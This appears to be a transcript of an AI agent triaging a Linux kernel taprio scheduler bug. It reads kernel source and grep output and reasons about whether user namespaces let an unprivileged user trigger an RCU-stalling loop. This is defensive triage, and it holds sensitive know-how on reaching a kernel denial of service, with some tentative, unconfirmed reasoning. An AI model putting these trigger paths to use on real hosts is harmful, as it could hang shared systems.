net/sched/sch_taprio.c-51-
--
net/sched/sch_taprio.c=1291=static void taprio_set_picos_per_byte(struct net_device *dev,
--
net/sched/sch_taprio.c-1308-	picos_per_byte = (USEC_PER_SEC * 8) / speed;
net/sched/sch_taprio.c:1309:	if (picos_per_byte < TAPRIO_PICOS_PER_BYTE_MIN) {
net/sched/sch_taprio.c-1310-		if (!extack)
--
net/sched/sch_taprio.c-1315-				       speed);
net/sched/sch_taprio.c:1316:		picos_per_byte = TAPRIO_PICOS_PER_BYTE_MIN;
net/sched/sch_taprio.c-1317-	}
]

gemini-3.1-pro-preview

							input: 104922
							output: 43
							thoughts: 556
						

**My Analysis of the TAPRIO Bug**

Okay, so I've been digging into this TAPRIO issue, and here's what I've figured out. `TAPRIO_PICOS_PER_BYTE_MIN` is fixed at 17, which means the minimum `picos_per_byte` value is also 17. Now, let's look at `length_to_duration(q, 60)`. If you plug in 60 bytes, with that minimum value, you get `60 * 17 / 1000`, which equals 1.02 nanoseconds. Right, so `div_u64(1020, 1000)` results in 1, so `min_duration` is, in fact, 1 nanosecond!

The critical part is the implication: if the `interval` is just 1 ns, and `advance_sched` is called repeatedly, it advances the `end_time` by 1 ns per iteration. Since `advance_sched` itself takes significantly more than 1 ns to execute, `end_time` will never catch up to `now`. That's an infinite loop!

But, the reproducer sets `interval` to something larger: 67 milliseconds, specifically `0x4000001`. Why did this trigger the same bug? Ah, that's where `clock_adjtime` comes in. It's used to move the clock forward by an enormous amount, specifically 4 years! The ratio is now `4 years / 67 ms` which results in approximately 2 billion iterations. This whole process takes a few seconds to run, which is enough to trigger the RCU stall warning, typically seen after 21 seconds.

So, it's clear the bug can be triggered two ways: (1) Setting a tiny `interval` value, like 1 ns, which doesn't require `clock_adjtime`. This approach does *not* require `CAP_SYS_TIME`. (2) Setting `interval` to a normal value but manipulating time with `clock_adjtime`, requires the `CAP_SYS_TIME` capability.

Now, I'm thinking about the implications. Can an unprivileged user set the `interval` to 1 ns without any special capabilities? To configure `taprio`, you need to send a netlink message to `RTM_NEWQDISC`. This necessitates `CAP_NET_ADMIN`. Can we get that without being privileged? Yes! By creating a user namespace *and* a network namespace! In the new network namespace, the user inherently has `CAP_NET_ADMIN` over the interfaces in that namespace. They can then create a dummy interface or a veth pair and attach the `taprio` qdisc to it.

But...wait, does `taprio` need to run on a device that supports `mqprio`, or can it function in software mode? That's a key question. I need to check `taprio_init` to confirm how it initializes and what support is needed.

map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_init]

map[SourceCode:2062:	static int taprio_init(struct Qdisc *sch, struct nlattr *opt,
2063:			       struct netlink_ext_ack *extack)
2064:	{
2065:		struct taprio_sched *q = qdisc_priv(sch);
2066:		struct net_device *dev = qdisc_dev(sch);
2067:		int i, tc;
2068:	
2069:		spin_lock_init(&q->current_entry_lock);
2070:	
2071:		hrtimer_setup(&q->advance_timer, advance_sched, CLOCK_TAI, HRTIMER_MODE_ABS);
2072:	
2073:		q->root = sch;
2074:	
2075:		/* We only support static clockids. Use an invalid value as default
2076:		 * and get the valid one on taprio_change().
2077:		 */
2078:		q->clockid = -1;
2079:		q->flags = TAPRIO_FLAGS_INVALID;
2080:	
2081:		list_add(&q->taprio_list, &taprio_list);
2082:	
2083:		if (sch->parent != TC_H_ROOT) {
2084:			NL_SET_ERR_MSG_MOD(extack, "Can only be attached as root qdisc");
2085:			return -EOPNOTSUPP;
2086:		}
2087:	
2088:		if (!netif_is_multiqueue(dev)) {
2089:			NL_SET_ERR_MSG_MOD(extack, "Multi-queue device is required");
2090:			return -EOPNOTSUPP;
2091:		}
2092:	
2093:		q->qdiscs = kcalloc(dev->num_tx_queues, sizeof(q->qdiscs[0]),
2094:				    GFP_KERNEL);
2095:		if (!q->qdiscs)
2096:			return -ENOMEM;
2097:	
2098:		if (!opt)
2099:			return -EINVAL;
2100:	
2101:		for (i = 0; i < dev->num_tx_queues; i++) {
2102:			struct netdev_queue *dev_queue;
2103:			struct Qdisc *qdisc;
2104:	
2105:			dev_queue = netdev_get_tx_queue(dev, i);
2106:			qdisc = qdisc_create_dflt(dev_queue,
2107:						  &pfifo_qdisc_ops,
2108:						  TC_H_MAKE(TC_H_MAJ(sch->handle),
2109:							    TC_H_MIN(i + 1)),
2110:						  extack);
2111:			if (!qdisc)
2112:				return -ENOMEM;
2113:	
2114:			if (i < dev->real_num_tx_queues)
2115:				qdisc_hash_add(qdisc, false);
2116:	
2117:			q->qdiscs[i] = qdisc;
2118:		}
2119:	
2120:		for (tc = 0; tc < TC_QOPT_MAX_QUEUE; tc++)
2121:			q->fp[tc] = TC_FP_EXPRESS;
2122:	
2123:		taprio_detect_broken_mqprio(q);
2124:	
2125:		return taprio_change(sch, opt, extack);
2126:	}
 SourceFile:net/sched/sch_taprio.c]

gemini-3.1-pro-preview

							input: 107222
							output: 19
							thoughts: 638
						

**Analyzing the Accessibility and Triggering Conditions**

Okay, so I'm thinking through this exploit. It needs a multi-queue device. A dummy device with multiple queues, like `ip link add dummy0 numtxqueues 4 type dummy`, should work. I can create this in a user namespace, which is useful. The reproducer seems to be using `team0`, but the concept is the same; a `team` device can also be created in a user namespace. So, I can definitely get this going from within a user namespace.

The critical question now is, can I trigger this from an unprivileged process, *without* a user namespace? Let me see... creating a new queue discipline using `RTM_NEWQDISC` requires `CAP_NET_ADMIN`. That answers that: no, it requires `CAP_NET_ADMIN`. So, "Accessible From Unprivileged Processes" is definitely *false*, but "Accessible From User Namespaces" is *true*. Good.

Now, can I trigger the bug without relying on `clock_adjtime`? If I can set `interval` to 1 ns, the `advance_sched` loop should run forever. Let's see if there's any check that prevents this. Okay, in the `fill_sched_entry` function, there's a check:

```c
	int min_duration = length_to_duration(q, ETH_ZLEN);
...
	if (interval < min_duration) {
		NL_SET_ERR_MSG(extack, "Invalid interval for schedule entry");
		return -EINVAL;
	}
```

So `interval` has to be at least `min_duration`. `min_duration` is calculated using `length_to_duration(q, 60)`. Let's break that down... `length_to_duration` is `div_u64(len * atomic64_read(&q->picos_per_byte), PSEC_PER_NSEC)`. `q->picos_per_byte` is set by `taprio_set_picos_per_byte`. If `speed` is `SPEED_UNKNOWN`, which is likely the default for a dummy device, it defaults to `SPEED_10` (10 Mbps). With that speed, `picos_per_byte` is 800,000. That means `length_to_duration` is `60 * 800,000 / 1000 = 48,000 ns`. So, with the default 10 Mbps speed, `min_duration` is 48,000 ns. I need to get that number down, but how?

If I can set a faster speed, say 100 Gbps (100,000 Mbps), `picos_per_byte` would be 80. Then, `length_to_duration` is `60 * 80 / 1000 = 4 ns`. That's much better! Can I set a device to a 100 Gbps speed from an unprivileged user in a user namespace? A dummy device starts with `SPEED_UNKNOWN`, but can it be changed? Maybe using `ethtool`? Wait... `ethtool` requires `CAP_NET_ADMIN`. But in a user namespace, I have `CAP_NET_ADMIN` over that dummy device, so that might work. The crucial question: does the `dummy` driver *support* changing the speed? I need to check the `dummy` driver code itself...

map[Expression:ethtool.*dummy]

map[Output:drivers/net/dummy.c=86=static const struct net_device_ops dummy_netdev_ops = {
--
drivers/net/dummy.c-95-
drivers/net/dummy.c:96:static const struct ethtool_ops dummy_ethtool_ops = {
drivers/net/dummy.c-97-	.get_ts_info		= ethtool_op_get_ts_info,
--
drivers/net/dummy.c=100=static void dummy_setup(struct net_device *dev)
--
drivers/net/dummy.c-105-	dev->netdev_ops = &dummy_netdev_ops;
drivers/net/dummy.c:106:	dev->ethtool_ops = &dummy_ethtool_ops;
drivers/net/dummy.c-107-	dev->needs_free_netdev = true;
--
drivers/net/ethernet/altera/altera_tse_ethtool.c=78=static void tse_gstrings(struct net_device *dev, u32 stringset, u8 *buf)
--
drivers/net/ethernet/altera/altera_tse_ethtool.c-82-
drivers/net/ethernet/altera/altera_tse_ethtool.c:83:static void tse_fill_stats(struct net_device *dev, struct ethtool_stats *dummy,
drivers/net/ethernet/altera/altera_tse_ethtool.c-84-			   u64 *buf)
--
drivers/net/ethernet/apm/xgene-v2/ethtool.c=122=static void xge_get_ethtool_stats(struct net_device *ndev,
drivers/net/ethernet/apm/xgene-v2/ethtool.c:123:				  struct ethtool_stats *dummy,
drivers/net/ethernet/apm/xgene-v2/ethtool.c-124-				  u64 *data)
--
drivers/net/ethernet/apm/xgene/xgene_enet_ethtool.c=263=static void xgene_get_ethtool_stats(struct net_device *ndev,
drivers/net/ethernet/apm/xgene/xgene_enet_ethtool.c:264:				    struct ethtool_stats *dummy,
drivers/net/ethernet/apm/xgene/xgene_enet_ethtool.c-265-				    u64 *data)
--
drivers/net/ethernet/calxeda/xgmac.c=1589=static void xgmac_get_ethtool_stats(struct net_device *dev,
drivers/net/ethernet/calxeda/xgmac.c:1590:					 struct ethtool_stats *dummy,
drivers/net/ethernet/calxeda/xgmac.c-1591-					 u64 *data)
--
drivers/net/ethernet/freescale/gianfar_ethtool.c=115=static void gfar_gstrings(struct net_device *dev, u32 stringset, u8 * buf)
--
drivers/net/ethernet/freescale/gianfar_ethtool.c-131- */
drivers/net/ethernet/freescale/gianfar_ethtool.c:132:static void gfar_fill_stats(struct net_device *dev, struct ethtool_stats *dummy,
drivers/net/ethernet/freescale/gianfar_ethtool.c-133-			    u64 *buf)
--
drivers/net/ethernet/samsung/sxgbe/sxgbe_ethtool.c=224=static void sxgbe_get_ethtool_stats(struct net_device *dev,
drivers/net/ethernet/samsung/sxgbe/sxgbe_ethtool.c:225:				    struct ethtool_stats *dummy, u64 *data)
drivers/net/ethernet/samsung/sxgbe/sxgbe_ethtool.c-226-{
--
drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c=579=static void stmmac_get_ethtool_stats(struct net_device *dev,
drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c:580:				 struct ethtool_stats *dummy, u64 *data)
drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c-581-{
--
net/ethtool/stats.c=604=void ethtool_aggregate_rmon_stats(struct net_device *dev,
--
net/ethtool/stats.c-607-	const struct ethtool_ops *ops = dev->ethtool_ops;
net/ethtool/stats.c:608:	const struct ethtool_rmon_hist_range *dummy;
net/ethtool/stats.c-609-	struct ethtool_rmon_stats pmac, emac;
]

gemini-3.1-pro-preview

							input: 109958
							output: 44
							thoughts: 636
						

**Analyzing the Timekeeping Loop with `dummy` Driver and `clock_adjtime`**

Okay, so I'm digging into this issue with the `dummy` driver and how it interacts with the scheduler, specifically looking at potential infinite loops when `clock_adjtime` is involved. My initial thought process is: the `dummy` driver doesn't support `set_link_ksettings`, so it always reports an unknown speed, defaulting to 10 Mbps. Consequently, the minimum duration (`min_duration`) ends up being 48,000 ns.

Now, if the `interval` is also 48,000 ns and we're advancing the scheduler with `advance_sched`, each iteration increases the `end_time` by 48,000 ns. If `clock_adjtime` *isn't* used, the `end_time` is initialized to, or slightly in the future of, the current time (`now`). Then, when the timer expires, `now` is slightly *after* `end_time` because of interrupt latency. Thus `advance_sched` always adds 48,000 ns to `end_time`, which, if the interrupt latency is less than 48,000 ns, means `end_time` will always be in the future, and we'll restart the timer (returning `HRTIMER_RESTART`). If the interrupt latency is larger than the interval, it might loop a few times but will catch up quickly. So, without `clock_adjtime`, it's *not* an infinite loop.

But what if the `cycle_time` is really small? Okay, let's say `cycle_time` is 48,000 ns. Looking at `advance_sched`:

```c
	if (should_restart_cycle(oper, entry)) {
		next = list_first_entry(&oper->entries, struct sched_entry,
					list);
		oper->cycle_end_time = ktime_add_ns(oper->cycle_end_time,
						    oper->cycle_time);
	} else {
		next = list_next_entry(entry, list);
	}

	end_time = ktime_add_ns(entry->end_time, next->interval);
	end_time = min_t(ktime_t, end_time, oper->cycle_end_time);
```

If `next->interval` is 48,000 ns, `end_time` is advanced by 48,000 ns each time and will eventually catch up, so still, no infinite loop without `clock_adjtime`.

But wait! The reproducer is using `clock_adjtime`. And `clock_adjtime` needs `CAP_SYS_TIME`. Does the reproducer run in a user namespace? That's the crucial question. This test case uses `syzkaller`, which often runs within a sandbox. If the sandbox is using a user namespace, it *has* `CAP_SYS_TIME` in that user namespace, but `capable(CAP_SYS_TIME)` actually checks the *init* namespace! So, this discrepancy is the potential issue. I need to check to see whether `timekeeping_validate_timex` uses `capable` or `ns_capable` to determine access.

map[ContextFile:kernel/time/timekeeping.c IncludeLines:true Name:timekeeping_validate_timex]

map[SourceCode:2578:	/*
2579:	 * timekeeping_validate_timex - Ensures the timex is ok for use in do_adjtimex
2580:	 */
2581:	static int timekeeping_validate_timex(const struct __kernel_timex *txc, bool aux_clock)
2582:	{
2583:		if (txc->modes & ADJ_ADJTIME) {
2584:			/* singleshot must not be used with any other mode bits */
2585:			if (!(txc->modes & ADJ_OFFSET_SINGLESHOT))
2586:				return -EINVAL;
2587:			if (!(txc->modes & ADJ_OFFSET_READONLY) &&
2588:			    !capable(CAP_SYS_TIME))
2589:				return -EPERM;
2590:		} else {
2591:			/* In order to modify anything, you gotta be super-user! */
2592:			if (txc->modes && !capable(CAP_SYS_TIME))
2593:				return -EPERM;
2594:			/*
2595:			 * if the quartz is off by more than 10% then
2596:			 * something is VERY wrong!
2597:			 */
2598:			if (txc->modes & ADJ_TICK &&
2599:			    (txc->tick <  900000/USER_HZ ||
2600:			     txc->tick > 1100000/USER_HZ))
2601:				return -EINVAL;
2602:		}
2603:	
2604:		if (txc->modes & ADJ_SETOFFSET) {
2605:			/* In order to inject time, you gotta be super-user! */
2606:			if (!capable(CAP_SYS_TIME))
2607:				return -EPERM;
2608:	
2609:			/*
2610:			 * Validate if a timespec/timeval used to inject a time
2611:			 * offset is valid.  Offsets can be positive or negative, so
2612:			 * we don't check tv_sec. The value of the timeval/timespec
2613:			 * is the sum of its fields,but *NOTE*:
2614:			 * The field tv_usec/tv_nsec must always be non-negative and
2615:			 * we can't have more nanoseconds/microseconds than a second.
2616:			 */
2617:			if (txc->time.tv_usec < 0)
2618:				return -EINVAL;
2619:	
2620:			if (txc->modes & ADJ_NANO) {
2621:				if (txc->time.tv_usec >= NSEC_PER_SEC)
2622:					return -EINVAL;
2623:			} else {
2624:				if (txc->time.tv_usec >= USEC_PER_SEC)
2625:					return -EINVAL;
2626:			}
2627:		}
2628:	
2629:		/*
2630:		 * Check for potential multiplication overflows that can
2631:		 * only happen on 64-bit systems:
2632:		 */
2633:		if ((txc->modes & ADJ_FREQUENCY) && (BITS_PER_LONG == 64)) {
2634:			if (LLONG_MIN / PPM_SCALE > txc->freq)
2635:				return -EINVAL;
2636:			if (LLONG_MAX / PPM_SCALE < txc->freq)
2637:				return -EINVAL;
2638:		}
2639:	
2640:		if (aux_clock) {
2641:			/* Auxiliary clocks are similar to TAI and do not have leap seconds */
2642:			if (txc->status & (STA_INS | STA_DEL))
2643:				return -EINVAL;
2644:	
2645:			/* No TAI offset setting */
2646:			if (txc->modes & ADJ_TAI)
2647:				return -EINVAL;
2648:	
2649:			/* No PPS support either */
2650:			if (txc->status & (STA_PPSFREQ | STA_PPSTIME))
2651:				return -EINVAL;
2652:		}
2653:	
2654:		return 0;
2655:	}
 SourceFile:kernel/time/timekeeping.c]

gemini-3.1-pro-preview

							input: 112620
							output: 20
							thoughts: 541
						

**Analyzing the Bug Reproducer**

Okay, so this is using `capable(CAP_SYS_TIME)`. I know that means `clock_adjtime` should fail with `-EPERM` unless the user has `CAP_SYS_TIME` in the init namespace. But the reproducer *triggered* the bug! That's strange. I need to think this through.

Wait, the reproducer is run by syzkaller. Syzkaller usually runs as root in the init namespace, or it has a sandbox. If it's root, it has `CAP_SYS_TIME`. Okay, but is there *another* way to trigger the bug without `clock_adjtime`?

Let me think… what if the `cycle_time` is very large, and `interval` is very small? No, `advance_sched` adds `interval` to `end_time`, that won't work that way. If `end_time` starts at `now`, it will only be in the past if `now` advances faster than `interval`. But `interval` is at least 48,000 ns (or 4 ns for 100 Gbps).

Okay, let's consider the case where `interval` is 4 ns, and the interrupt handler takes 1000 ns. `advance_sched` adds 4 ns, and `end_time` is still in the past. It will loop `1000 / 4 = 250` times. But... during those 250 iterations, time *also* advances! Each iteration takes 10 ns...

Ah! If each iteration takes 10 ns, it adds 4 ns to `end_time`, but `now` advances by 10 ns. So `end_time` will fall further and further behind `now`! This is starting to make sense.

Let's check this. If `interval` is 4 ns, and each iteration of `advance_sched` takes 10 ns.
`end_time` increases by 4 ns.
`now` increases by 10 ns.
So `end_time` will *never* catch up to `now`! This could be an infinite loop, even without `clock_adjtime`! Yes, that's it!

Wait, is it possible to set `interval` to 4 ns? Yes, if the device speed is 100 Gbps. Can an unprivileged user in a user namespace create a dummy device and set its speed to 100 Gbps? Ah, the `dummy` device doesn't support `set_link_ksettings`. What about the `veth` device? I need to look into that.

map[Expression:ethtool.*veth]

map[Output:drivers/net/ethernet/ibm/ibmveth.c=1170=static const struct ethtool_ops netdev_ethtool_ops = {
--
drivers/net/ethernet/ibm/ibmveth.c-1174-	.get_sset_count		         = ibmveth_get_sset_count,
drivers/net/ethernet/ibm/ibmveth.c:1175:	.get_ethtool_stats	         = ibmveth_get_ethtool_stats,
drivers/net/ethernet/ibm/ibmveth.c-1176-	.get_link_ksettings	         = ibmveth_get_link_ksettings,
--
drivers/net/veth.c=257=static int veth_set_channels(struct net_device *dev,
--
drivers/net/veth.c-259-
drivers/net/veth.c:260:static const struct ethtool_ops veth_ethtool_ops = {
drivers/net/veth.c-261-	.get_drvinfo		= veth_get_drvinfo,
--
drivers/net/veth.c-264-	.get_sset_count		= veth_get_sset_count,
drivers/net/veth.c:265:	.get_ethtool_stats	= veth_get_ethtool_stats,
drivers/net/veth.c-266-	.get_link_ksettings	= veth_get_link_ksettings,
--
drivers/net/veth.c=1728=static void veth_setup(struct net_device *dev)
--
drivers/net/veth.c-1740-	dev->xdp_metadata_ops = &veth_xdp_metadata_ops;
drivers/net/veth.c:1741:	dev->ethtool_ops = &veth_ethtool_ops;
drivers/net/veth.c-1742-	dev->features |= VETH_FEATURES;
--
tools/testing/selftests/bpf/prog_tests/xdp_do_redirect.c=97=void test_xdp_do_redirect(void)
--
tools/testing/selftests/bpf/prog_tests/xdp_do_redirect.c-187-	/* Enable GRO */
tools/testing/selftests/bpf/prog_tests/xdp_do_redirect.c:188:	SYS(out, "ethtool -K veth_src gro on");
tools/testing/selftests/bpf/prog_tests/xdp_do_redirect.c:189:	SYS(out, "ethtool -K veth_dst gro on");
tools/testing/selftests/bpf/prog_tests/xdp_do_redirect.c-190-
--
tools/testing/selftests/bpf/test_tc_tunnel.sh=28=setup() {
--
tools/testing/selftests/bpf/test_tc_tunnel.sh-34-
tools/testing/selftests/bpf/test_tc_tunnel.sh:35:	ip netns exec "${ns1}" ethtool -K veth1 tso off
tools/testing/selftests/bpf/test_tc_tunnel.sh-36-
--
tools/testing/selftests/net/fib_tests.sh=2539=ipv4_mpath_list_test()
--
tools/testing/selftests/net/fib_tests.sh-2548-	set -e
tools/testing/selftests/net/fib_tests.sh:2549:	run_cmd "ip netns exec $ns1 ethtool -K veth1 tcp-segmentation-offload off"
tools/testing/selftests/net/fib_tests.sh-2550-
--
tools/testing/selftests/net/fib_tests.sh-2552-	run_cmd "ip netns exec $ns2 bash -c \"echo 1 > /sys/class/net/veth2/napi_defer_hard_irqs\""
tools/testing/selftests/net/fib_tests.sh:2553:	run_cmd "ip netns exec $ns2 ethtool -K veth2 generic-receive-offload on"
tools/testing/selftests/net/fib_tests.sh-2554-	run_cmd "ip -n $ns2 link add name nh1 up type dummy"
--
tools/testing/selftests/net/fib_tests.sh=2584=ipv6_mpath_list_test()
--
tools/testing/selftests/net/fib_tests.sh-2593-	set -e
tools/testing/selftests/net/fib_tests.sh:2594:	run_cmd "ip netns exec $ns1 ethtool -K veth1 tcp-segmentation-offload off"
tools/testing/selftests/net/fib_tests.sh-2595-
--
tools/testing/selftests/net/fib_tests.sh-2597-	run_cmd "ip netns exec $ns2 bash -c \"echo 1 > /sys/class/net/veth2/napi_defer_hard_irqs\""
tools/testing/selftests/net/fib_tests.sh:2598:	run_cmd "ip netns exec $ns2 ethtool -K veth2 generic-receive-offload on"
tools/testing/selftests/net/fib_tests.sh-2599-	run_cmd "ip -n $ns2 link add name nh1 up type dummy"
--
tools/testing/selftests/net/gre_gso.sh=111=gre_gst_test_checks()
--
tools/testing/selftests/net/gre_gso.sh-125-
tools/testing/selftests/net/gre_gso.sh:126:	ethtool -K veth0 tso off
tools/testing/selftests/net/gre_gso.sh-127-
--
tools/testing/selftests/net/gre_gso.sh-130-
tools/testing/selftests/net/gre_gso.sh:131:	ethtool -K veth0 tso on
tools/testing/selftests/net/gre_gso.sh-132-
--
tools/testing/selftests/net/udpgro.sh=27=cfg_veth() {
--
tools/testing/selftests/net/udpgro.sh-38-	ip -netns "${PEER_NS}" link set dev veth1 up
tools/testing/selftests/net/udpgro.sh:39:	ip netns exec "${PEER_NS}" ethtool -K veth1 gro on
tools/testing/selftests/net/udpgro.sh-40-}
--
tools/testing/selftests/net/udpgro_frglist.sh=21=run_one() {
--
tools/testing/selftests/net/udpgro_frglist.sh-39-	ip -netns "${PEER_NS}" link set dev veth1 up
tools/testing/selftests/net/udpgro_frglist.sh:40:	ip netns exec "${PEER_NS}" ethtool -K veth1 rx-gro-list on
tools/testing/selftests/net/udpgro_frglist.sh-41-
--
tools/testing/selftests/net/udpgro_fwd.sh=195=for family in 4 6; do
--
tools/testing/selftests/net/udpgro_fwd.sh-219-	create_ns
tools/testing/selftests/net/udpgro_fwd.sh:220:	ip netns exec $NS_DST ethtool -K veth$DST generic-receive-offload on
tools/testing/selftests/net/udpgro_fwd.sh:221:	ip netns exec $NS_DST ethtool -K veth$DST rx-gro-list on
tools/testing/selftests/net/udpgro_fwd.sh-222-	run_test "GRO frag list" $BM_NET$DST 1 0
--
tools/testing/selftests/net/udpgro_fwd.sh-230-	ip -n $NS_DST addr add dev veth$DST $BM_NET$DST_NAT/$SUFFIX
tools/testing/selftests/net/udpgro_fwd.sh:231:	ip netns exec $NS_DST ethtool -K veth$DST generic-receive-offload on
tools/testing/selftests/net/udpgro_fwd.sh:232:	ip netns exec $NS_DST ethtool -K veth$DST rx-udp-gro-forwarding on
tools/testing/selftests/net/udpgro_fwd.sh-233-	ip netns exec $NS_DST $IPT -t nat -I PREROUTING -d $BM_NET$DST_NAT \
--
tools/testing/selftests/net/udpgro_fwd.sh-239-	run_bench "UDP fwd perf" $BM_NET$DST
tools/testing/selftests/net/udpgro_fwd.sh:240:	ip netns exec $NS_DST ethtool -K veth$DST rx-udp-gro-forwarding on
tools/testing/selftests/net/udpgro_fwd.sh-241-	run_bench "UDP GRO fwd perf" $BM_NET$DST
--
tools/testing/selftests/net/udpgro_fwd.sh-244-	create_vxlan_pair
tools/testing/selftests/net/udpgro_fwd.sh:245:	ip netns exec $NS_DST ethtool -K veth$DST generic-receive-offload on
tools/testing/selftests/net/udpgro_fwd.sh:246:	ip netns exec $NS_DST ethtool -K veth$DST rx-gro-list on
tools/testing/selftests/net/udpgro_fwd.sh-247-	run_test "GRO frag list over UDP tunnel" $OL_NET$DST 10 10
--
tools/testing/selftests/net/udpgro_fwd.sh-252-	ip -n $NS_DST addr add dev $VXDEV$DST $OL_NET$DST_NAT/$SUFFIX
tools/testing/selftests/net/udpgro_fwd.sh:253:	ip netns exec $NS_DST ethtool -K veth$DST generic-receive-offload on
tools/testing/selftests/net/udpgro_fwd.sh:254:	ip netns exec $NS_DST ethtool -K veth$DST rx-udp-gro-forwarding on
tools/testing/selftests/net/udpgro_fwd.sh-255-	ip netns exec $NS_DST $IPT -t nat -I PREROUTING -d $OL_NET$DST_NAT \
--
tools/testing/selftests/net/veth.sh=51=__chk_flag() {
--
tools/testing/selftests/net/veth.sh-56-
tools/testing/selftests/net/veth.sh:57:	local flag=`ip netns exec $BASE$target ethtool -k veth$target |\
tools/testing/selftests/net/veth.sh-58-		    grep $flagname | awk '{print $2}'`
--
tools/testing/selftests/net/veth.sh=132=__change_channels()
--
tools/testing/selftests/net/veth.sh-143-		for i in `seq 1 $CPUS`; do
tools/testing/selftests/net/veth.sh:144:			ip netns exec $NS_SRC ethtool -L veth$SRC rx $i tx $i
tools/testing/selftests/net/veth.sh:145:			ip netns exec $NS_DST ethtool -L veth$DST rx $i tx $i
tools/testing/selftests/net/veth.sh-146-		done
--
tools/testing/selftests/net/veth.sh-149-			cur_cpu=$((CPUS - $i))
tools/testing/selftests/net/veth.sh:150:			ip netns exec $NS_SRC ethtool -L veth$SRC rx $cur_cpu tx $cur_cpu
tools/testing/selftests/net/veth.sh:151:			ip netns exec $NS_DST ethtool -L veth$DST rx $cur_cpu tx $cur_cpu
tools/testing/selftests/net/veth.sh-152-		done
--
tools/testing/selftests/net/veth.sh=167=do_stress() {
--
tools/testing/selftests/net/veth.sh-171-
tools/testing/selftests/net/veth.sh:172:	ip netns exec $NS_SRC ethtool -L veth$SRC rx 3 tx 3
tools/testing/selftests/net/veth.sh:173:	ip netns exec $NS_DST ethtool -L veth$DST rx 3 tx 3
tools/testing/selftests/net/veth.sh-174-
--
tools/testing/selftests/net/veth.sh-194-	# restore previous setting
tools/testing/selftests/net/veth.sh:195:	ip netns exec $NS_SRC ethtool -L veth$SRC rx 2 tx 2
tools/testing/selftests/net/veth.sh:196:	ip netns exec $NS_DST ethtool -L veth$DST rx 2 tx 1
tools/testing/selftests/net/veth.sh-197-}
--
tools/testing/selftests/net/veth.sh=231=chk_gro "        - aggregation" 1
tools/testing/selftests/net/veth.sh:232:ip netns exec $NS_SRC ethtool -K veth$SRC tx-udp-segmentation off
tools/testing/selftests/net/veth.sh-233-chk_gro "        - aggregation with TSO off" 10
--
tools/testing/selftests/net/veth.sh=236=create_ns
tools/testing/selftests/net/veth.sh:237:ip netns exec $NS_DST ethtool -K veth$DST gro on
tools/testing/selftests/net/veth.sh-238-chk_gro_flag "with gro on - gro flag" $DST on
--
tools/testing/selftests/net/veth.sh=241=chk_tso_flag "        - peer tso flag" $DST on
tools/testing/selftests/net/veth.sh:242:ip netns exec $NS_SRC ethtool -K veth$SRC tx-udp-segmentation off
tools/testing/selftests/net/veth.sh:243:ip netns exec $NS_DST ethtool -K veth$DST rx-udp-gro-forwarding on
tools/testing/selftests/net/veth.sh-244-chk_gro "        - aggregation with TSO off" 1
--
tools/testing/selftests/net/veth.sh=263=ip -n $NS_DST link set dev veth$DST xdp object ${BPF_FILE} section xdp
tools/testing/selftests/net/veth.sh:264:ip netns exec $NS_DST ethtool -K veth$DST generic-receive-offload on
tools/testing/selftests/net/veth.sh-265-chk_gro_flag "gro vs xdp while down - gro flag on" $DST on
--
tools/testing/selftests/net/veth.sh=279=ip -n $NS_DST link set dev veth$DST down
tools/testing/selftests/net/veth.sh:280:ip netns exec $NS_DST ethtool -K veth$DST gro on
tools/testing/selftests/net/veth.sh-281-chk_gro_flag "with gro enabled on link down - gro flag" $DST on
--
tools/testing/selftests/net/veth.sh=285=ip -n $NS_DST link set dev veth$DST up
tools/testing/selftests/net/veth.sh:286:ip netns exec $NS_SRC ethtool -K veth$SRC tx-udp-segmentation off
tools/testing/selftests/net/veth.sh:287:ip netns exec $NS_DST ethtool -K veth$DST rx-udp-gro-forwarding on
tools/testing/selftests/net/veth.sh-288-chk_gro "        - aggregation with TSO off" 1
--
tools/testing/selftests/net/veth.sh=295=if [ $CPUS -gt 1 ]; then
tools/testing/selftests/net/veth.sh:296:	ip netns exec $NS_DST ethtool -L veth$DST tx 2
tools/testing/selftests/net/veth.sh-297-	chk_channels "setting tx channels" $DST 1 2
--
tools/testing/selftests/net/veth.sh=301=if [ $CPUS -gt 2 ]; then
tools/testing/selftests/net/veth.sh:302:	ip netns exec $NS_DST ethtool -L veth$DST rx 3 tx 3
tools/testing/selftests/net/veth.sh-303-	chk_channels "setting both rx and tx channels" $DST 3 3
--
tools/testing/selftests/net/veth.sh=306=fi
tools/testing/selftests/net/veth.sh-307-
tools/testing/selftests/net/veth.sh:308:ip netns exec $NS_DST ethtool -L veth$DST combined 2 2>/dev/null
tools/testing/selftests/net/veth.sh-309-chk_channels "bad setting: combined channels" $DST $CUR_RX $CUR_TX
tools/testing/selftests/net/veth.sh-310-
tools/testing/selftests/net/veth.sh:311:ip netns exec $NS_DST ethtool -L veth$DST tx $((CPUS + 1)) 2>/dev/null
tools/testing/selftests/net/veth.sh-312-chk_channels "setting invalid channels nr" $DST $CUR_RX $CUR_TX
--
tools/testing/selftests/net/veth.sh=314=if [ $CPUS -gt 1 ]; then
tools/testing/selftests/net/veth.sh-315-	# this also tests queues nr reduction
tools/testing/selftests/net/veth.sh:316:	ip netns exec $NS_DST ethtool -L veth$DST rx 1 tx 2 2>/dev/null
tools/testing/selftests/net/veth.sh:317:	ip netns exec $NS_SRC ethtool -L veth$SRC rx 1 tx 2 2>/dev/null
tools/testing/selftests/net/veth.sh-318-	printf "%-60s" "bad setting: XDP with RX nr less than TX"
--
tools/testing/selftests/net/veth.sh-323-	# the following tests will run with multiple channels active
tools/testing/selftests/net/veth.sh:324:	ip netns exec $NS_SRC ethtool -L veth$SRC rx 2
tools/testing/selftests/net/veth.sh:325:	ip netns exec $NS_DST ethtool -L veth$DST rx 2
tools/testing/selftests/net/veth.sh-326-	ip -n $NS_DST link set dev veth$DST xdp object ${BPF_FILE} \
--
tools/testing/selftests/net/veth.sh-328-	printf "%-60s" "bad setting: reducing RX nr below peer TX with XDP set"
tools/testing/selftests/net/veth.sh:329:	ip netns exec $NS_DST ethtool -L veth$DST rx 1 2>/dev/null &&\
tools/testing/selftests/net/veth.sh-330-		echo "fail - set operation successful ?!?" || echo " ok "
--
tools/testing/selftests/net/veth.sh=335=if [ $CPUS -gt 2 ]; then
tools/testing/selftests/net/veth.sh-336-	printf "%-60s" "bad setting: increasing peer TX nr above RX with XDP set"
